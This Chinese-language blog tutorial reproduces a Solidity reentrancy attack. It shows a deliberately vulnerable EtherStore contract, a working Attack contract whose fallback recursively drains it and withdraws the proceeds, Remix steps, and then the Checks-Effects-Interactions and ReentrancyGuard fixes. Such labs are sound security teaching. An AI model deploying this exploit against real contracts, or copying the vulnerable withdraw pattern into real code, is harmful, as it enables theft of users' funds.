智能合约安全审计:复现“重入攻击 (Reentrancy)”,一行代码是如何盗走 1000 ETH 的?
想象一个现实场景:你去银行取钱。检查:柜员查账,发现你有 100 元。交互:柜员把 100 元现金递给你。生效:柜员拿起笔,准备在账本上把你账户扣除 100 元。重入攻击就在第 2 步和第 3 步之间发生了。当你接过钱的瞬间(第 2 步刚开始,第 3 步还没做),你大喊一声:“嘿,我还要取 100 元!柜员因为还没来得及改账本,一看账上还是 100 元,于是又递给你 100 元。如此循环,直到银行
标签: #Web3Security #Solidity #Reentrancy #SmartContract #Blockchain #Audit
🏦 前言:银行柜员的失误
想象一个现实场景:
你去银行取钱。
- 检查:柜员查账,发现你有 100 元。
- 交互:柜员把 100 元现金递给你。
- 生效:柜员拿起笔,准备在账本上把你账户扣除 100 元。
重入攻击就在第 2 步和第 3 步之间发生了。
当你接过钱的瞬间(第 2 步刚开始,第 3 步还没做),你大喊一声:“嘿,我还要取 100 元!”
柜员因为还没来得及改账本,一看账上还是 100 元,于是又递给你 100 元。
如此循环,直到银行金库被你搬空。
攻击流程图 (Mermaid):
💀 一、 漏洞复现:受害者合约 (EtherStore)
这是一个典型的“先转账,后扣款”的错误写法。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract EtherStore {
mapping(address => uint256) public balances;
// 存钱
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// 取钱 (漏洞在这里!)
function withdraw() public {
uint256 bal = balances[msg.sender];
require(bal > 0, "No balance");
// ❌ 错误做法:先转账 (Interaction)
// 使用 call 发送 ETH 会将所有剩余 Gas 转发给接收方,允许对方执行复杂逻辑
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
// ❌ 错误做法:后扣款 (Effect)
// 这一行在攻击发生时,还没来得及执行
balances[msg.sender] = 0;
}
// 查看金库总余额
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
⚔️ 二、 编写攻击脚本:黑客合约 (Attack)
黑客合约利用 Solidity 的 fallback 或 receive 函数机制。当它收到 ETH 时,这些函数会自动触发。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./EtherStore.sol";
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// 1. 回调函数:当收到 ETH 时自动触发
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
// 🔥 核心攻击逻辑:在收到钱的瞬间,递归调用 withdraw
etherStore.withdraw();
}
}
// 2. 攻击入口
function attack() external payable {
require(msg.value >= 1 ether, "Need 1 ETH to start attack");
// 先存 1 ETH 进去,获得“入场券”
etherStore.deposit{value: 1 ether}();
// 发起第一次提款
etherStore.withdraw();
}
// 3. 销赃:把偷来的钱转给黑客钱包
function collectEther() external {
payable(msg.sender).transfer(address(this).balance);
}
}
🕵️♂️ 三、 实战步骤 (Remix)
- 部署 EtherStore:
- 部署受害者合约。
- 切换其他账户(如 Account 2, Account 3),分别
deposit10 ETH。此时金库有 20 ETH。
- 部署 Attack:
- 切换回黑客账户(Account 1)。
- 部署 Attack 合约,构造函数填入 EtherStore 的地址。
- 发动攻击:
- 在 Attack 合约的
attack函数中填入1 Ether。 - 点击
transact。
- 见证奇迹:
- 查看
EtherStore的余额:变成了 0。 - 查看
Attack的余额:变成了 21 ETH(本金 1 + 偷来的 20)。
现象解释:
你会发现在那一笔交易中,黑客合约像抽水机一样,利用那 1 ETH 的本金,反复循环调用 withdraw,直到把受害者合约的余额抽干,循环才停止(触发 fallback 中的 if 判断)。
🛡️ 四、 防御方案:如何修复?
修复重入攻击主要有两种方法。
方案 A:检查-生效-交互 (Checks-Effects-Interactions)
这是 Solidity 编程的黄金法则。永远先修改状态变量,再进行外部调用。
function withdraw() public {
uint256 bal = balances[msg.sender];
require(bal > 0);
// ✅ 1. Check (已在上面)
// ✅ 2. Effect (先扣款!)
balances[msg.sender] = 0;
// ✅ 3. Interaction (再转账)
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
}
即使黑客再次重入,因为 balances[msg.sender] 已经被清零,require(bal > 0) 会直接拦截请求。
方案 B:重入锁 (ReentrancyGuard)
使用 OpenZeppelin 提供的修饰符,给函数上锁。
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract EtherStore is ReentrancyGuard {
// 增加 nonReentrant 修饰符
function withdraw() public nonReentrant {
uint256 bal = balances[msg.sender];
// ... 逻辑 ...
}
}
原理:进入函数前将锁置为 TRUE,执行完置为 FALSE。如果你在执行过程中试图再次进入,发现锁是 TRUE,直接报错。
🎯 总结
重入攻击是 Web3 安全的入门必修课。它警示我们:在区块链世界,任何外部合约调用(Call)都是不可信的。
作为开发者,必须养成**“状态修改前置”**的肌肉记忆,或者做一名“复制粘贴工程师”,老老实实继承 OpenZeppelin 的 ReentrancyGuard。
Next Step:
现在的攻击是针对 ETH 转账的。你去研究一下 ERC-721 (NFT) 的 onERC721Received 函数,或者 ERC-1155 协议,它们同样存在重入风险。尝试写一个针对 NFT 铸造(Mint)的重入攻击脚本,看看能不能一次 Gas 费铸造出 100 个 NFT?
更多推荐
所有评论(0)